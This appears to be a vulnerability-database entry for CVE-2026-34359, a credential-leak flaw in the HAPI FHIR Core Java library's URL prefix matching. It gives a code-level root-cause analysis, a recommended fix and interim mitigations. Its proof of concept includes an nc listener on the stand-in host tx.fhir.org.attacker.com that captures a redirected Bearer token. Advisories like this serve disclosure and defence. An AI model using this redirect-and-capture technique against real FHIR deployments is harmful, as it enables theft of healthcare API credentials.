Java
CVE-2026-34359
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessRegister attacker domain matching configured server URL prefix
-
ExploitCraft HTTP redirect response from legitimate domain
-
ExecutionTrigger client redirect to attacker domain
-
ImpactClient sends credentials to attacker endpoint
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Origin validation
|
| Exploitation Conditions | Attacker controls a domain matching the prefix of configured server URLs (e.g., http://tx.fhir.org.attacker.com matches http://tx.fhir.org). Remote unauthenticated attacker must trigger HTTP redirect from legitimate FHIR server to attacker's domain. Requires FHIR client applications using org.hl7.fhir.utilities library with authentication credentials configured. |
| Exploit ScenarioDerived | An attacker registers a domain like |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 30, 2026
Authentication credential theft in HAPI FHIR Core library allows network attackers to intercept Bearer tokens, Basic auth credentials, and API keys through malicious URL prefix matching. The vulnerable ManagedWebAccessUtils.getServer() method uses unsafe String.startsWith() checks without host boundary validation, causing credentials configured for http://tx.fhir.org to be dispatched to attacker-controlled domains like http://tx.fhir.org.attacker.com when HTTP redirects occur. Affects Maven packages ca.uhn.hapi.fhir:org.hl7.fhir.core and ca.uhn.hapi.fhir:org.hl7.fhir.utilities. CVSS 7.4 (High) reflects network attack vector with high attack complexity requiring redirect manipulation. EPSS data not available; no confirmed active exploitation (CISA KEV), but detailed proof-of-concept code demonstrates the exploit chain through both SimpleHTTPClient and OkHttp redirect paths.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Know when Java gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionNVD
Summary
ManagedWebAccessUtils.getServer() uses String.startsWith() to match request URLs against configured server URLs for authentication credential dispatch. Because configured server URLs (e.g., http://tx.fhir.org) lack a trailing slash or host boundary check, an attacker-controlled domain like http://tx.fhir.org.attacker.com matches the prefix and receives Bearer tokens, Basic auth credentials, or API keys when the HTTP client follows a redirect to that domain.
Details
The root cause is in ManagedWebAccessUtils.getServer() at org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/http/ManagedWebAccessUtils.java:26:
public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
if (serverAuthDetails != null) {
for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
if (url.startsWith(serverDetails.getUrl())) { // <-- no host boundary check
return serverDetails;
}
}
}
return null;
}The configured production terminology server URL is defined without a trailing slash in FhirSettingsPOJO.java:19:
protected static final String TX_SERVER_PROD = "http://tx.fhir.org";This means:
"http://tx.fhir.org.attacker.com/capture".startsWith("http://tx.fhir.org")→ true"http://tx.fhir.org:8080/evil".startsWith("http://tx.fhir.org")→ true
Exploit chain via SimpleHTTPClient (redirect path):
SimpleHTTPClient.get()(SimpleHTTPClient.java:68-105) makes a request tohttp://tx.fhir.org/ValueSet/$expand- On each redirect, the loop calls
getHttpGetConnection(url, accept)(line 84) →setHeaders(connection)(line 117) setHeaders()(line 122-133) callsauthProvider.canProvideHeaders(url)andauthProvider.getHeaders(url)on the redirect target URLServerDetailsPOJOHTTPAuthProvider.getServerDetails()(line 83-84) delegates toManagedWebAccessUtils.getServer(url.toString(), servers)- The
startsWith()check matcheshttp://tx.fhir.org.attacker.comagainsthttp://tx.fhir.org - Credentials are dispatched to the attacker's server via
ServerDetailsPOJOHTTPAuthProvider.getHeaders()(lines 38-58):
- Bearer tokens:
Authorization: Bearer {token} - Basic auth:
Authorization: Basic {base64(user:pass)} - API keys:
Api-Key: {apikey} - Custom headers from server config
Note: An earlier fix (commit 6b615880 "Strip headers on redirect") added an isNotSameHost() check, but this was removed in commit 3871cc69 ("Rework authorization providers in ManagedWebAccess"). The current code on master has no host validation during redirect following.
Exploit chain via ManagedFhirWebAccessor (OkHttp path):
ManagedFhirWebAccessor.httpCall() (line 81-112) sets auth headers via requestWithAuthorizationHeaders() before passing the request to OkHttpClient. OkHttpClient follows redirects by default (up to 20) and carries the pre-set auth headers to all redirect targets. The same startsWith() check in canProvideHeaders() applies.
The same vulnerable pattern also exists in ManagedWebAccess.isLocal() (line 214), where url.startsWith(server.getUrl()) is used to determine whether HTTP (non-TLS) access is allowed, potentially enabling TLS downgrade for attacker-controlled domains that match the prefix.
PoC
Step 1: Verify the prefix match behavior
// This demonstrates the core vulnerability
String configuredUrl = "http://tx.fhir.org"; // FhirSettingsPOJO.TX_SERVER_PROD
String attackerUrl = "http://tx.fhir.org.attacker.com/capture";
System.out.println(attackerUrl.startsWith(configuredUrl));
// Output: trueStep 2: Demonstrate credential dispatch to wrong host
Given a fhir-settings.json configuration at ~/.fhir/fhir-settings.json:
{
"servers": [
{
"url": "http://tx.fhir.org",
"authenticationType": "token",
"token": "secret-bearer-token-12345"
}
]
}When SimpleHTTPClient.get("http://tx.fhir.org/ValueSet/$expand") follows a 302 redirect to http://tx.fhir.org.attacker.com/capture:
setHeaders()is called with the redirect target URLauthProvider.canProvideHeaders(new URL("http://tx.fhir.org.attacker.com/capture"))returnstrueauthProvider.getHeaders(...)returns{"Authorization": "Bearer secret-bearer-token-12345"}- The
Authorizationheader with the secret token is sent totx.fhir.org.attacker.com
Step 3: Attacker captures the credential
# On attacker-controlled server (tx.fhir.org.attacker.com)
nc -l -p 80 | head -20
# Output includes:
# GET /capture HTTP/1.1
# Host: tx.fhir.org.attacker.com
# Authorization: Bearer secret-bearer-token-12345Impact
- Credential theft: Bearer tokens, Basic authentication passwords, API keys, and custom authentication headers configured for FHIR terminology servers can be exfiltrated by an attacker who can inject a redirect (via MITM, compromised CDN, or DNS poisoning).
- Impersonation: Stolen credentials allow an attacker to make authenticated requests to the legitimate FHIR server, potentially accessing or modifying clinical terminology data.
- Broad exposure: The FHIR Validator is widely used in healthcare IT for validating FHIR resources. Any deployment that configures server authentication in
fhir-settings.jsonand makes outbound HTTP requests to terminology servers is affected. - TLS downgrade: The same
startsWith()pattern inManagedWebAccess.isLocal()could allow an attacker-controlled domain to be treated as "local," bypassing the HTTPS enforcement.
Recommended Fix
Replace the startsWith() check in ManagedWebAccessUtils.getServer() with proper URL host boundary validation:
public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
if (serverAuthDetails != null) {
for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
if (urlMatchesServer(url, serverDetails.getUrl())) {
return serverDetails;
}
}
}
return null;
}
/**
* Check if a URL matches a configured server URL with proper host boundary validation.
* After the configured prefix, the next character must be '/', '?', '#', ':', or end-of-string.
*/
private static boolean urlMatchesServer(String url, String serverUrl) {
if (url == null || serverUrl == null) return false;
if (!url.startsWith(serverUrl)) return false;
if (url.length() == serverUrl.length()) return true;
char nextChar = url.charAt(serverUrl.length());
return nextChar == '/' || nextChar == '?' || nextChar == '#' || nextChar == ':';
}Apply the same fix to ManagedWebAccess.isLocal() at line 214 and the three-argument getServer() overload at line 14.
Additionally, consider re-introducing the host-equality check for redirects in SimpleHTTPClient (as was previously implemented in commit 6b615880 but removed in 3871cc69) to provide defense-in-depth against credential leakage on cross-origin redirects.
Executive ViewAI
CVE-2026-34359 affects HAPI FHIR Core library versions and enables attackers to steal authentication credentials (API keys, Bearer tokens, Basic auth) through malicious domain prefix matching during HTTP redirects, potentially compromising healthcare data integrations and FHIR server communications across any application using affected Maven packages. Organizations running HAPI FHIR-dependent systems face credential compromise risk without vendor remediation, directly threatening confidentiality of patient data exchanges.
Within 24 hours: inventory all applications and services using ca.uhn.hapi.fhir:org.hl7.fhir.core or ca.uhn.hapi.fhir:org.hl7.fhir.utilities packages and identify deployed versions. Within 7 days: implement network-level mitigations (proxy authentication filtering, disable HTTP redirects where possible, enforce HTTPS-only); contact HAPI FHIR upstream for patch timeline. Within 30 days: establish a patching plan contingent on vendor release; evaluate workarounds such as credential rotation and segmentation of FHIR integrations to isolated network zones pending patch availability.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Enforce HTTPS-only for all FHIR server communications to reduce redirect interception surface; (2) Implement API gateway or proxy with credential validation and host-binding enforcement before token dispatch; (3) Rotate and re-issue all credentials used by affected applications; (4) Monitor outbound redirects and log all domain transitions for FHIR endpoints; (5) Restrict network access to known, whitelisted FHIR server domains only; (6) Consider temporary credential scoping (short TTL, read-only permissions) on downstream services until patch is available.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Affected Products (CPE)NVD
Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during
GHSA-fgv2-4q4g-wc35
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB